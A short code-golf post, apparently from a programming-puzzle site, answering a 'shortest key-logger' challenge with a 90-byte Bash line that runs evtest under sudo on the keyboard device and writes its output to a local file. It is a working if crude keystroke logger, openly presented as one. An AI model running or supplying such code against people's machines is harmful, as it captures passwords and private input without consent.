Shortest code for key-logger
Bash, 90 bytes

This works on Ubuntu, and requires evtest. It picks a device that is a keyboard, and saves evtest's output to the file l. If you want a more formatted output, I can do that with more bytes.

echo I\'m gonna log you
sudo evtest /dev/input/by-path/`ls /dev/input/by-path/|grep kbd`&gt;l